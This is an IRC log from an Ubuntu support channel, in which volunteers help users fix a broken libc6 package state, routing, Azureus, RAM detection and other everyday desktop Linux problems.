torkel__un_operateur: be back in 5 minutes, have to try something :)12:17
IntuitiveNippleNon of this is affecting the server<>WAN lack of connectivity though12:17
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un_operateurtorkel_, ok, what kind of a router is this?12:17
bakertsnail, gdb it actually says "is to be installed" about some of the libc6 stuff.  is there not a command to say, "forget i told you to do that please"?12:17
graniti Hi. I use a program which listens to different keyboard shortcuts. I have to make that this program doesn't listen to "Ctrl-Alt-Esc". is it possibile?12:17
torkel__IntuitiveNipple: yeah :/12:17
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un_operateurtorkel_, does it do NAT? is NAT enabled on it?12:17
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gdbbakert: dpkg -e libc6.6 ?12:17
gdbhrm, I dunno12:18
torkel__back in 5 :)12:18
noobcooki cant seem to get Wine to run my games12:18
noobcookcan anyone help?12:18
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un_operateurandyshack, it doesnt seem to be working mate12:18
frogzoo!appdb | noobcook12:19
ubotunoobcook: Appdb is a database of apps & help for programs that run under wine: see http://appdb.winehq.org12:19
un_operateurandyshack, it times out12:19
capiirahmmm hi is that normal that grub displays me something about C: ? i dont even have windows installed!12:19
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frogzoocapiira: grub knows nothing about C:12:19
capiirastrange12:19
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capiirai get a msg that disappears very fast with something about c:12:20
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vltHello. Can I tell `diff` to ignore two files when their mtime is the same (in directory mode)?12:20
dromerdoes anybody know where to find N64 roms?12:20
capiirabefore showing something with stage 1.512:21
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jribvlt: you'd probably have to script that12:21
dromerI want to try Mupen6412:21
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barataanybody experiencing problem with grub? especially back in Win 98 & 2000 time??12:21
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Vluiddromer: google12:22
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baratathat usual grub just doesnt boot the shit and it says the partition is 'screwed'12:22
dromerVluid: goolge is a bitch :(12:22
bakertsnail, gdb, where can i find the ubuntu .deb files?  if i force install the correct libc6 things might get better?12:22
baratahallo, how can I install ntfs in ubuntu? --> apt-get install "ntfs"??12:23
capiiralet me reboot and see what is does exactly show12:23
dmntfs is not something you install12:23
un_operateur!ntfs-3g | barata12:23
ubotubarata: ntfs-3g is is a Linux driver which allows read/write access to NTFS partitions. It has been extensively tested but is still BETA software, so use it with caution. Installation instructions at http://lunapark6.com/?p=1710 (Dapper) and http://ubuntuforums.org/showthread.php?t=217009/ (Edgy)12:23
snailbakert: by the sounds of it, yuo still have the correct libc612:23
gdbus.archive.ubuntu.com -- as per the contents of /etc/apt/sources.list12:23
Vluiddromer: what about http://www.rom-world.com/12:23
dmntfs-3g is :)12:23
gdbsnail: I think the system wouldn't work at all if the wrong libc was installed.12:23
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torkel_now its fixed :)12:23
gdbsnail: as in actually on disk, installed12:23
Vluiddromer: ive got many gameboy roms from there12:23
torkel_i removed the entire 192.168.4.x network from the router, its behind a natted router anyways12:24
barataheih .. NICE !! ..... now we can write to NTFS??? Is it safe?12:24
snailbakert: the dpkg command you used that fail midway, you need to run the uninstall version of that12:24
snailgdb: i agree12:24
torkel_the clients from 192.168.4.x can connect to the internet, and the server can to!12:24
bakertsnail, gdb, yes i think you are right.  i just want it to forget that it's planning to install some other thing with the same name!12:24
dromerVluid: sorry, looking for N6412:24
bakerti ran dpkg -r tzdata12:24
gdbbakert: I'd try doing the regular apt-get remove command12:24
torkel_many thanks for the help, you guys have been great! un_operateur and IntuitiveNipple , i'll by you a beer if you visit norway some day :)12:24
gdbactually12:24
torkel_bbrb12:25
snailbarata: it's beta, isn't not safe12:25
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bakert"tzdata is not installed, so not removed"12:25
un_operateurtorkel_, if 'router' is using NAT server will not be able to talk to 192.168.4.x if it initiates communication12:25
Vluiddromer: it has also a n64 section12:25
gdbbakert: apt-get --simulate --purge remove <packages that you tried to install>12:25
gdbsee if that fives you something screwy12:25
gdbgives*12:25
baratayeah ... never safe with it!12:26
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dromerVluid: oh that site, missed it12:26
bakertgdb: "Package tzdata is not installed, so not removed12:26
bakert"12:26
gdbok then delete that from the command line and try again12:26
un_operateurtorkel_, also you should repair the route i gave you -- the route's still pointing at 192.168.0.1 .. change it back to 0.0.0.012:26
dromerVluid: yeah well all those sites seem big scamms, you get 101 popups and no downloads <_<12:26
bakertsnail, gdb, it does say " Unmet dependencies. Try apt-get -f install with no packages (or specify a solution)."12:26
bakertbut apt-get -f install says "unable to correct dependencies"12:26
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bakertgdb, sorry i don't quite follow - delete what from the commandline?12:27
snaildoes it say what dependencies?12:27
gdbtzdata12:27
bakertThe following packages have unmet dependencies.12:27
bakert  libc6: Depends: tzdata but it is not installable12:27
bakert  libc6-dev: Depends: libc6 (= 2.3.6-0ubuntu20) but 2.3.6.ds1-10 is to be installed12:27
bakert  libc6-i686: PreDepends: libc6 (= 2.3.6-0ubuntu20) but 2.3.6.ds1-10 is to be installed12:27
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un_operateur!paste > bakert12:27
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bakertgdb, when you say delete tzdata what do you mean?12:27
snailapt-get remove tzdata12:27
gdbremove it from the command line12:27
bakertPackage tzdata is not installed, so not removed12:27
gdbapt-get -s --purge remove <everything else but tzdata>12:28
capiirahmmm i get Attempting to boot from  C:, Attempting to boot from USB etc.12:28
capiiramaybe its a bios message12:28
bakertgdb, by "everything else" you mean ghc6.6 and libc6 that i tried to install?12:28
un_operateurbakert, sounds like you need to install tzdata12:28
gdbyes12:28
snailun_operateur: no, tzdata is a debian pacakge...12:28
gdbun_operateur: no, he doesn't12:28
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bakertyes tzdata is a deb which i tried to install and failed because it conflicted with "locales"12:29
mcphaildoesn't he need to reinstall the ubuntu libc6???12:29
frogzoocapiira: mention of C: is likely coming from a doze boot loader12:29
gdbmcphail: that's what's installed12:29
wedgeVis anyone here using dvd-ram in linux and can help me set it up in edgy?12:29
capiirahmmmm12:29
bakertmcphail, i think i still have the ubuntu libc6 (almost sure) i just need to convince ubuntu to stop thinking about the debian unstable version and it's unmet dependencies.12:29
gdbmcphail: dpkg hasn't actually installed anything broken, it's state is screwed up because the system has been told to install things that don't make sense12:29
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Vluiddromer: hmmm12:29
gdber its*12:30
un_operateursnail, gdb tzdata happens to be an ubuntu package too http://packages.ubuntu.com/cgi-bin/search_packages.pl?keywords=tzdata&searchon=names&subword=1&version=edgy&release=all12:30
gdbun_operateur: yeah, and the libc6 that dpkg is set to install doesn't depend on that one12:30
capiirayou know a way to fix that?12:30
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gdband tzdata isn't in dapper anyway12:30
bakertun_operateur, interesting.  i am on dapper.  but perhaps an upgrade to edgy would fix12:30
bakert?12:30
gdbcbell@circe:~$ apt-cache search tzdata12:30
gdbcbell@circe:~$12:30
dromerVluid: or pay-sites .. I just found out12:31
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Vluiddromer: http://www.theroms.com/ http://www.romnation.net/12:31
un_operateurgdb, you helping him get down from debian to pure ubuntu?12:31
un_operateurgdb, you on edgy?12:31
bakertthat's the plan12:31
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gdbbakert: The system isn't going to do anything until the dependancy situation is resolved anyway.12:31
Vluiddromer: http://www.romguy.com/12:31
bakertah.  ok12:31
gdbun_operateur: no and no12:31
bakertso i just want to say: "please forget about the stuff you are queueing up to install".  how do i say that?  is there a way?12:32
un_operateurgdb, explains why you dont have tzdata then12:32
gdbbakert: if you point at edgy repos, it might "figure it out" but I think it best to get your *dapper* system working correctly before trying to move it to edgy12:32
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gdbun_operateur: yeah, and why *he* isn't supposed to12:32
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mcphailbakert: i'd try "sudo aptitude install libc6=whatevertheubuntupackageis"12:33
JKoderHello , i have Via S3 Unichrome (PM800/PN800) videocard and i am using via driver in xorg12:33
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noobcookdoes anyone know if its possible to runregedit under linux from a windows partition and make changes that write?12:33
JKodermy 3D is working fine but how can i activate S-Video ?12:33
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JKodershould i use TwinView option ( this is not just for nVidia based cards ? )12:34
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gdbwhich would be libc6 2.3.6-0ubuntu212:34
un_operateurgdb, well, without it libc6 is going to cry .. and without libc6, the entire system will  .. maybe reinstall libc6 from dapper (if thats what he's trying to get to)  ?12:34
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dromerVluid: n/w, I give up12:34
ketilwhy has ubuntu changed from /etc/inittab to /etc/event.d?12:34
Trini_Mani have ubuntu on my PC alone i want to install XP also how do i get back Grub ?12:34
gdbun_operateur: his correct libc6 doesn't care about tzdata12:34
apokryphosTrini_Man: take a look at the FAQ (https://help.ubuntu.com/community/CommonQuestions) as linked to in the channel /topic12:34
capiirahmmm my system needs 45 sec to reboot after the loadbar+logo becomes empty and i dont know why :/ is that normal ?12:34
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ketiland how do I add a service to /etc/event.d and start it without rebooting? Like "kill -HUP 1" would do before.12:35
bakertmcphail, gdb Unable to find a version "libc6 2.3.6-0ubuntu2" for the package "libc6"12:35
gdbit depends on locales, not tzdata12:35
un_operateurgdb, errm, the libc6 he is trying to remove now does depend on it .. he just showed us that12:35
gdb...12:35
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gdbno, that's not what he's shown -- he's shown that the libc6 the system is set to install depends on it, the acutal *installed* libc6 doesn't12:35
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gdbhe tried to install debian unstable's libc into a dapper system12:36
JKoderso does anyone has any ideea ?12:36
gnomefreakthats why12:36
gdbwe're trying to correc the effects of that mistake12:36
gdbcorrect*12:36
bakertthe debian libc6 that i foolishly tried to install depends on tzdata.  but i don't actually want to install it.  so i just want to say "don't do that, go back to equilibrium".  but i don't know if that is possible.12:36
mcphail!info libc6 dapper12:36
ubotulibc6: GNU C Library: Shared libraries and Timezone data. In component main, is required. Version 2.3.6-0ubuntu20 (dapper), package size 4480 kB, installed size 9932 kB12:36
gdbok ubuntu20, dpkg truncated the line12:36
gnomefreakgdb: download the libc6 version for the release at packages.ubuntu.com and try to dpkg -i it12:36
gnomefreaksee if it works12:36
bakertgnomefreak, good idea!12:37
gnomefreakor whoever has the issue12:37
gdbbakert: what gnomefreak said!12:37
mcphailbakert: just use the command above but with the correct dapper version as per ubotu12:37
gnomefreakit might not work but its worth a shot.12:37
bakertmcphail, Unable to find a version "libc6 2.3.6-0ubuntu20" for the package "libc6"12:37
gnomefreakmcphail: cant use apt12:37
mcphailgnomefreak: why not?12:38
ketilso nobody else has a clue why ubuntu has dropped /etc/inittab in favour of /etc/event.d?12:38
gnomefreakhint cant use apt with wrong libc6 version12:38
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gnomefreakmcphail: libc6 is a main lib apt needs it12:38
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jribbakert: are teh dapper repos in your sources?12:38
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mcphailgnomefreak: it will still be using the original libc612:38
gdbgnomefreak: well, the installed libc6 is correct, so the command should run12:38
bakertJram, yes12:38
bakertjrib, yes12:39
gnomefreakmcphail: it will use the version he has installed if he has debains installed it wont work12:39
bakertjrib, i just tried to install this stuff with dpkg12:39
gdbgnomefreak: dpkg is set to install the debian one, but can't due to dependancy issues.  so the package database is inconsistent12:39
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gnomefreakgdb: can you dpkg -r package12:39
gdbI dunno, that's a question for bakert12:40
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mcphailbakert: have you apt-get updated prior to running the above command?12:40
un_operateurgnomefreak, that on libc6 .. ouch12:40
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gnomefreakbakert: has the debians version of libc6 been installed if not try sudo dpkg -r debiansversionlibc612:40
jribbakert: you did  sudo aptitude install libc6=2.3.6-0ubuntu20    ?12:40
gdbun_operateur: the idea is that no actual software is being uninstalled, this isn't doom and gloom, it's a broken package database, not a broken install12:41
bakertYes, I am 90% sure that there's nothing actually installed on my system that is bad.  It is just queueing up so to do.12:41
bakertI have tried installing the ubuntu .deb for libc6 with dpkg12:41
un_operateurgdb, but removing (or force-removing ) libc6 is likely to worsen the problem as a lot of the debian packages installed now are likely to depend on the debian libc612:41
gnomefreakbakert: try using dpkg -r for the debian package tell me what it says12:41
gdbun_operateur: no, only 3, one of which he got rid of just fine12:42
bakertgnomefreak, that's just called "libc6" so it tells me loads of things depend on it.12:42
gnomefreakun_operateur: nope12:42
bakertgnomefreak, unless there is some way to refer specifically to the debian one???12:42
gnomefreakbakert: sudo apt-get -f install  and pastebin the output12:42
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gnomefreakmcphail: cant12:43
crotbakert: try apt-get install -f libc6/yourDistroName12:43
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gnomefreakno\12:43
bakerthttp://paste.ubuntu-nl.org/1290/12:43
gnomefreakbakert: dont use package name12:43
gdbdsl?12:43
gdbdamn small linux?12:43
bakertgdb, ds ONE -- i got the deb from here: http://packages.debian.org/unstable/libs/libc612:44
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bakertdon't ask me what it means!12:44
gdboh duh12:44
mcphaildebian security?12:44
gnomefreakbakert: what does sudo apt-get dist-upgrade do?12:44
bakertgnomefreak, similar message12:45
bakertgnomefreak, http://paste.ubuntu-nl.org/1291/12:45
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crotTry doing what I said, bakert12:45
gnomefreakbakert: did you try dpkg -r linc6-2.3.6.ds1-1012:45
bakertcrot, with "dapper" for "yourDistroName"?12:45
crotyep12:46
gnomefreakcrot: it wont work with the package name not enough parameters12:46
bakertgnomefreak, dpkg - warning: ignoring request to remove libc6-2.3.6.ds1-10 which isn't installed.12:46
dromerhow can I open a new ftp-account?12:46
capiiraso is that normal that ubuntu need 45secs more after the loadbar becomes empty to reboot the system?12:46
bakertcrot, crot, crot, crot, you may just be a genius -- downloading!!!!!12:47
gnomefreakbakert: what version of llibc6-dev is installed?12:47
bakertdowngrading!12:47
bakerthope springs eternal!12:47
bakertCROT!  YOU ARE LITERALLY MY HERO!!!!!!!!!!12:47
bakertgnomefreak, gdb, mcphail, snail you are all very very very nice people and thanks so much12:47
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bakertbut crot, i like you best!!!!!12:47
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mneptokbakert: you should see him in Spandex(r) and a cape12:48
gnomefreaklol12:48
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bakertkisses all round!12:48
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mneptokwood springs eternal!12:48
gdbBy the way, I highly recommend the book The Debian System: Concepts and Techniques to just about anyone running a Debian-based system.12:48
mneptok*ahem*12:48
bakert(unless you are offended by being kissed by a bespectacled 30 year old who doesn't know better than to fuck up his apt-get thingy)12:48
gdb(meaning all of you running Ubuntu)12:48
gdbbakert: A lot of the internals of the package system are explained in it.12:49
capiiralooks like noone here ver rebooted their system12:49
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gdbcapiira: ?12:49
snailbakert: your task is now to write up your experiance on a wiki or blog, so if someone ever stuffs up in a similar way they can google how to fix it12:49
capiiraso is that normal that ubuntu need 45secs more after the loadbar becomes empty to reboot the system?12:49
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bakertahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh .... that is a nice feeling.  i will check out the book.  i will say my prayers.  JUST in time for my driving lesson too.12:49
gdbI reboot my machine when a new kernel is released.12:49
mneptokbakert: i have no problem with same-sex kisses of joy, but the profanity i could do without ;)12:49
gnomefreakbakert: hint try rebooting to see if it is fixed12:49
bakertsnail, check bluebones.net in the next few days.12:49
dromerhow can I open a new ftp-account for a friend?12:49
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snailcapiira: yes12:49
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capiiraah ok12:49
snailcapiira: it's disk write buffered paranoia I believe12:50
capiirathx :)12:50
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gdbcrot: so the command was install libc6/dapper?12:50
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snailcapiira: it doesnt' shut down until every possible thing could be completely safe12:50
crotyeah.12:50
gnomefreakgdb: apt-get -f install12:50
gdbhrm cool12:50
gdbwhere did you pick up that gem?12:50
dromer!ftpd12:50
ubotuFTP clients: gftp, konqueror, kbear, nautilus. FTP servers: ftpd, proftpd, pure-ftpd, twoftpd, vsftpd12:50
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Lynouredromer: You already have a ftp server installed and running?12:50
crotI don't know.12:50
capiirathen the loadbar is just a gif or something like that?12:50
gdbhehe12:50
dromerLynoure: afaik ... not sure though :$12:50
crotI've been using Debian for like 7 years.12:50
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crotor 612:51
dromerLynoure: on KDE too btw12:51
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Lynouredromer: if you have not installed one, you do not, they do not come preinstalled.12:51
capiiraa fake loadbar12:51
capiirahehe12:51
dromerLynoure: ok, which is a good one?12:51
bakertthanks everyone.  i will think before i start chucking the sudos around next time!  got to go learn to drive.  i promise to be more cautious than with my dpkg -i's .. thanks again brilliant!12:51
gdbI've been using "Debian" (Ubuntu) since 2 weeks before Dapper's release.  I have read a lot about it, though, and ran Debian on a sparc for a few months like 12 years ago.12:51
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gdbbakert: :-D12:52
kenthomsonI had some configuration problems with azureus (for instance it would quit on being started automatically and there was no way to access its interface), so i deleted the ~/.azureus file, and restarted it, now everything is OK (i got back the interface). But when i want to start downloading a torrent that is qued i would (in history) right-click the torrent and select "force start", But NOW there is no option in the right click (context menu) menu to s12:52
kenthomsonelect force start. SO now my question is how do i start downloading s torrent that is qued?12:52
diederickhi all12:52
deepsahi12:52
mneptokkenthomson: what Azureus rev are you using?12:52
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Lynouredromer: I do not have a strong opinion on that, sorry12:52
kenthomsonmneptok, "rev" what is hat?12:52
gdbbakert: And remember, Ubuntu is based on a freeze of Debian unstable.  It's all sucked into Merge-O-Matic every 6 months, stabilized, has Ubuntu value-add thrown in, and then is released as Ubuntu.  It's *not* actually Debian unstable anymore after going through this process. ;-)12:52
kenthomsonmneptok, i have the one in Ubuntu's repos12:53
saharaabhello i have apb with the refresh rate it's 60hz and icant increase it can u help me?12:53
dromerLynoure: but, once I have one (say, profrpd) how do I config it ?12:53
diederickI've installed ubuntu, and I want to enable dual view. Though in my xorg.conf I can only see one monitor. Is there a way to 'detect' the monitor configuration? (such as the h/vsync?, color depth)12:53
mneptokkenthomson: ah, this may be the source of your anguish12:53
stefgkenthomson: the edgy azureus package is awfully broken.12:53
gdbI wanted to try Debian on my machine here but it won't install without a lot of annoying effort (stable, anyway).12:53
gdbAnd with the political situation in Debian now, I don't know *when* another release will come out.12:54
sneakumsgdb: i installed with an etch netinstaller snapshot recently, it was pretty smooth12:54
stefgkenthomson: overwrite the azureus.jar in /usr/share/java with an azureus.jar from azureus.sf.net12:54
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mneptokkenthomson: and you're missing a "p" in your last name ;)12:54
kenthomsonmneptok, stefg, but till yesterday i was able to right-click a queed torrent and select "force-start" to start downloading it, NOW; where is the option to start downloading a queed torrent? I mean even if it is broken (it worked till yesterday!) there should be an option to start downloading a queed torrent where is it?12:54
gdbsneakums: this was sarge you installed with an etch installer?  My problem is this machine is a Dell Optiplex GX620 and sarge doesn't like the SATA controller.12:55
kenthomsonmneptok, NO, thats my name, nothing missing :)12:55
Lynouredromer: http://ubuntuguide.org/wiki/Ubuntu_Edgy#FTP_Server should get you started, combined with use of man when needed :)12:55
kenthomsonstefg, is that replacing business safe?12:55
sneakumsgdb: no, i installed etch with the etch installer12:55
gdbAnyway, I prefer Ubuntu, I just wanted to have a look at the current stable Debian.12:55
gdbah12:55
sneakumswell, the current stable debian is not very current alas12:55
gdbtrue!  but it was more current 7 months ago than it is now!12:55
crotBut it is rather stable.12:55
mneptokkenthomson: i would not personally use the repo version of Azureus.12:55
JKoderCan anyone help me with S-VIDEO on Edgy ?12:55
JKoderPLease ?12:56
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stefgkenthomson: yes... it's dirty from a procedural point of view, but cleaner than the junk from the edgy repo anyway12:56
kenthomsonmneptok, stefg, still my question went unanswered. Where is the option to start downloading a que-ed torrent?12:56
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stefgkenthomson: you ae basically asking : 'why won't a broken program not work' obvious anser, heh?12:57
prasys000guys umm i need help with my ATI AC97 Audio12:57
mneptokkenthomson: in a *mot broken version of Azureus*12:57
VIMmerhi, how do i check how much ram i have on my machine on ubuntu?12:57
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diederickIs there a way to check which v/hsync I have for my monitors? (maybe using windows?)12:57
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prasys000well i am using dapper 6.10 , and it works out of the box. but now all of a sudden , it has stopped working. Ubuntu shows the device is there12:58
undersoundto VIMmer: use Device Manager12:58
gnomefreakdiederick: google your monitor12:58
kenthomsonstefg, mneptok, so i need to uninstall azureus, go to the sourceforge  website and download a new one?12:58
diederickgnomefreak: oke12:58
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gnomefreakkenthomson: thats your best bet12:58
stefgkenthomson: no, leave the azureus .dep installed.12:58
prasys000so any idea12:59
prasys000how to fix the sound back12:59
VIMmerundersound, under what heading will it be?12:59
gdbprasys000: kick the speaker cord out of the back of the machine?  I'd check that first!  (I've done it before!)12:59
prasys000it was working fine before the ATI Driver installation [i think] 12:59
Lynouredromer: But you can ask again if you run into trouble, of course12:59
VIMmeri cant find it in Device Manager12:59
JKoderany ideea about S-VIDEO ???12:59
prasys000gdb, i am on a laptop12:59
stefgkenthomson: you can use the .desktop and other conffiles from the edgy pack, just overwrite the azureus.jar12:59
mneptokkenthomson: i would uninstall, install Sun's JRE, use update-alternatives to set the Sun JRE as the default, and then grab the latest Azureus from SF12:59
gdbah, well, i guess that's not the issue then :-/12:59
prasys000i am trying to figure it out what is causing the problem12:59
undersoundsystem->administration=>device manager01:00
gdbupdate-java-alternatives -s sun-java501:00
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VIMmerundersound, i have got to the Device Manager, wat heading in tat application01:00
gnomefreakVIMmer: cat /proc/cpuinfo01:00
VIMmer??01:00
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kenthomsonmneptok, stefg, gnomefreak, If it is really broken what is it doing in the "ok-tested" section of the most current release of world's most popular Linux Distro? Or does this indicate it is a time to go to SUSE? :)01:00
gnomefreakVIMmer: that commmand will give you how much ram you have01:00
capiirahmm is there a way to remove the shutdown ubuntu logo ?01:00
jano_hi.. anybody had any luck playing windows media streamed videos in ubuntu?? (mplayer plugin..)01:00
gnomefreakVIMmer: top will as well and so will htop if you install it01:01
stefgmneptok: that's the proper, but most time consuming way. It works to install the azureus-pack from the repos, just replace the bad .jar-file with a working one01:01
VIMmergnomefreak, shud i look at the cache size?01:01
crotHave you installed the non-free codecs, jano_?01:01
linuxero_hola desde espaa!01:01
mneptokkenthomson: it was put in there for the sole purpose of forcing you to MS-Linux (SuSe)01:01
gdbfree -m01:01
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kenthomsonmneptok, :)01:01
kenthomsonmneptok, "in there", where?01:01
jano_crot, what package are they in? I installed all the stuff I found in edgy guide...01:02
gnomefreakVIMmer: its not all that accurate use top01:02
JKoderit seems i will not get any help here sadly :((01:02
gnomefreakim looking at it now01:02
mneptokstefg: AFAIK the GCJ implementation will not work with the latest Azureus01:02
stefgkenthomson: please put this question the (non-existing) ubuntu Quality assurance team... btw add a rant for OOo packages as well at01:02
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mneptokstefg: QA happily ignores the Universe repo ;)01:02
stefgmneptok: do your tray icons work in gnome?01:03
capiirahmmm a way to remove only the shutdown loadbar would be cool too?!?! its not really working anyway and that annoys me..01:03
VIMmerthx gnomefreak but the thing is that i pluged in a new stick of 256 mb ram, i shud hav 512 mb, its still showing 256 only01:03
gnomefreakVIMmer: and your pc isnt beeping?01:03
gdbWelcome to Microsoft Windows Linux XP Professional, the latest Linux from Microsoft.  With Microsoft Linux XP Professional, using your computer has never been easier.  With Microsoft Linux XP Professional, you can watch digital media right on your PC, enjoy the wealth of the Internet, and play your games faster and easier than ever before!  Microsoft Linux XP Professional is the Linux for business, for home, for you life.  Microsoft Linux XP Professional.01:03
VIMmerso i dont need it to be too accurate01:03
VIMmerthe comp is functioning01:03
snailgdb: remember Xenix?01:03
gnomefreakis it beeping01:03
gdbsnail: Yes01:04
VIMmeri hav 2 256 cards01:04
VIMmerno it isnt beeping01:04
gdbhehe01:04
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mneptokstefg: Azureus tray icon?01:04
stefgmneptok: yes01:04
VIMmerwhat i wil do is remove 1 ram n see how much ram the system shows01:04
mneptokstefg: yup01:04
VIMmerthen i wil know if both sticks r working01:04
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stefgmneptok: strange... couldn't get it to wrk, and google yielded a lots of hits with other people having the same issue01:05
gnomefreakVIMmer: cat /proc/meminfo01:05
gnomefreakoh well01:05
gdbfree -m01:05
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=== gdb finds that more readable than /proc/meminfo ;-)
mneptokstefg: Ubuntu does what i tell it to. it knows the consequences. ;)01:06
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prasys000thanks for your help anyway guys01:06
prasys000reloading the kernel modules made it possible again01:07
prasys000i need to create a link now01:07
jano_firefox is driving me nuts in xubuntu... when I press ctrl+a (which would normally select all that's in adress bar) it would only jump to the beginnig of adress bar... can I make it normal??01:07
GuerrillaWonCan someone tell me wha'ts going wrong with this? http://paste.ubuntu-nl.org/1293/plain/01:07
GuerrillaWonI have those files in the correct location so I'm not sure why I'm getting this error.01:07
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stefg!flash | GuerrillaWon01:07
ubotuGuerrillaWon: For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats01:07
sneakumsjano_: sounds like the emacs key theme is enabled01:08
stefgGuerrillaWon: theres flash 9 out... don't bother with 701:08
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GuerrillaWonYea it's a problem with nswrapper I think :/01:08
stefg!flash9 | GuerrillaWon01:08
ubotuGuerrillaWon: flash9 is available from dapper-backports and edgy-backports now, see !backports01:08
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GuerrillaWon!01:08
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stefg!backports01:09
ubotuIf new updated Ubuntu packages are built for an application, then they go into Ubuntu Backports. See https://help.ubuntu.com/community/UbuntuBackports01:09
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jano_sneakums, in other programs it works normally... just firefox...01:09
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sneakumsjano_: strange. if you don't mind a hideous workaround, Alt-a may work as select-all.01:09
jano_sneakums, yes it works :D01:10
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jano_sneakums, thanx01:10
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bayzidersOk I am not sure where to ask this cause it pertains to windows and ubuntu but is there a program like grub but with a nice gui? I'm just re customizing my computer and think it would be a nice touch.01:11
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jano_sneakums, oh and I just found out that the emacs keyboard was selected...01:11
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MatthewVbayziders, there is a program called gfxboot which, while it only works on x86, can do that01:12
stefgbayziders: errmmm.... yu're talking of a system before it has booted, and want a GUI? for what?01:12
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MatthewVbayziders, search the forums... there are some howtos and themes there01:12
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bayzidersMatthwU; Thanks.01:13
Marupahey, quick question...I'm trying to play some MP3s, and they're _really_ quiet.  If I play a network stream, that's fine.  But MP3s are very quiet on any MP3 player.  Any ideas?01:13
stefgbayziders: you can pimp your grub visually, but no point'n'click before boot01:13
mneptokMarupa: whose codec?01:13
MarupaI'm currently trying the 'out of the box' xmms.01:14
xerophyteif you have so many files in a folder how can i delete it .. when  i say rm  * -f its not working is any other way i can remove them ??01:14
crotWhat does it say when you do that?01:14
bayzidersTheres no point click grub type thing ='( ?01:14
crotare you doing that on the contents or on the directory?01:14
stefgxerophyte: man rm... you're looking for the -r switch and the wildcards01:14
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Marupanone of my MP3s are loud.  Yet music streams are fine.01:15
xerophytesteelb, thx i am using this for now for x in `ls`; do rm -f $x; done but will read about it01:15
mneptokxerophyte: it' "rm -f dirname"01:15
mneptokxerophyte: you have the arguments backwards01:15
MarupaAny ideas, mneptok?01:16
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crotMarupa: a hearing horn01:16
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mneptokMarupa: i don't use xmms or its codecs.01:17
constrictorhow do you make beagle index thunderbird mail01:17
constrictorit seems to only find evolution mail01:17
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HiP_Pquick question: anyway to install 6.10 over 6.06 without formatting01:17
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stefg!upgrade01:18
ubotuFor upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes01:18
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iggehello..01:18
iggehow can I check what options the kernel is compiled with?01:18
stefgigge: cat /boot/config-`uname -r`01:19
HiP_Pcheers stefg01:19
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iggestefg: thanks!!01:20
mneptokyay! friday's done!01:20
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Ralphhi01:21
MatthewVbayziders, if there is, i've never seen it01:21
Ralphi want to log in into an windows domain controller01:22
MatthewVbayziders, considering you spend >1s on that screen.. its hardly necessary, besides the fact that keyboard is much quicker01:22
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Ralphi want a ubuntu client for the windows domain01:22
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kosmocBonjour, je suis  la recherche d'un logiciel de traduction anglais-> franais sous ubuntu, a existe ?01:23
stefg!fr01:23
ubotuAllez a #ubuntu-fr ou #kubuntu-fr pour de l'aide et de la discussion en francais.01:23
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bayzidersbut not pimping, lol. Well a gui would be nice the white on black messy worded thing is annooying01:23
Ralphso how can i transfer al the users to the ubuntu client01:23
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ketilok, so I solved my issues installing daemontools on ubuntu when inittab is missing: http://ketil.froyn.name/blog01:23
Marupacan anyone help me set up my logitech mouse to use the extra buttons?  I tried that tutorial, but it didn't work.  It said that 'evdev' wasn't a valid protocol.01:24
burepe!LAMP01:24
ubotuLAMP is an acronym for Linux-Apache-MySQL-PHP. However, the term is often used for setups using alternative but different software, such as Perl or Python instead of PHP, and Postgres instead of MySQL. For help with setting up LAMP on Ubuntu, see  https://help.ubuntu.com/community/ApacheMySQLPHP - See also the Server CD installation process (different in Edgy+)01:24
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jribMarupa: what tutorial?01:25
Marupathere's one on the ubuntu boards.01:25
jribMarupa: there's more than one01:25
Marupathe one that was for 'MX500, etc'01:25
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jribMarupa: ok, what did you do exactly and what were the results01:26
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MarupaI did exactly what the tutorial said, and it responded with the 'blue screen' with the error log, in it it said that 'evdev' wasn't a valid protocol.01:27
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jribMarupa: is xserver-xorg-input-evdev installed?01:27
Marupayep01:27
tim167does w3m allow going to the previous page ? (< back)01:28
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jribMarupa: what version of ubuntu?01:28
Marupa6.1001:28
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jribMarupa: what mouse do you have?01:28
MarupaMX 60001:28
jribMarupa: k well your tutorial is outdated.  This one is for mx1000, you can translate it over https://help.ubuntu.com/community/MX1000Mouse, or search the forums.  There is a more recent tutorial.  Look for the one that sets up evdev like on the wiki for mx100001:29
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tim167if not, I'm looking for a webbrowser that is ultra light, but has some basic features like 'history', ...01:29
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iggehow do I download the kernel source?01:29
reconI'm trying to configure sendmail, but I cannot find anywhere to input the SMTP server, user/pass, etc. I've googled but didn't find anything.01:30
jribigge: install the linux-source package01:30
bayzidersI wish i could get this dial up modem working on ubuntu so im not stuck in windows until my new isp's modem gets here ='\01:30
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jrib!dialup | bayziders01:30
ubotubayziders: You want to connect via dial-up? Read https://wiki.ubuntu.com/DialupModemHowto01:30
noobcookhas wine got a Front End?01:31
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reconnoobcook: for...what?01:31
reconnoobcook: configuration?01:31
noobcookgui01:31
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noobcookive been trying to get wine to run my windows games but its just not happening01:32
tim167can you advise me a web browser that is -=light=- (like w3m, but a bit more features)01:32
noobcooki fear i need a gui =p01:32
noobcooktim167:  try lynx its a text browser01:32
jribnoobcook: have you checked wine's appdb for your game?01:32
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noobcookjrib: i dont know how to do that01:32
tim167noobcook: thanks!01:32
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jribnoobcook: go to wine's website and click on appdb01:32
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diederickhi again!01:33
noobcooki thought i could just "wine appname"01:33
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diederickwhat does the "option "DPMS" means in xorg.conf? (for screen)01:33
diederickuhh for monitor that is01:33
Menasim101:33
bayzidersman earth link scares me they told me it takes 10 days to activate the dsl line but they didnt tell me what line >> so idk what there doing =/01:33
KristianDKAfternoon ladies01:34
KristianDK^^01:34
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deepsasomeone tried having audacious mp3 status in gaim?01:36
bayzidersEnglish?01:37
anubis_Totem could not play 'mms://wm1-cm.edgestreams.net/12/bc/12bc2f49ab4c64fa4419ad7e304ef075-45467a03.asf?auth=caEbdbsbRcIa7dVdSc4dbaLbHamdfdkcfav-bfP4dl-eS-Iwi=0001'.01:37
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burepeIn this command which parts do I replace with my values ?mysql> SET PASSWORD FOR 'root'@'localhost' = PASSWORD('yourpassword');01:37
capiiraanyone know a site that explains how to remove the boot and shutdown splash and restore the text mode? i owuld like to see what my system is doing!01:37
foobar^:-)01:37
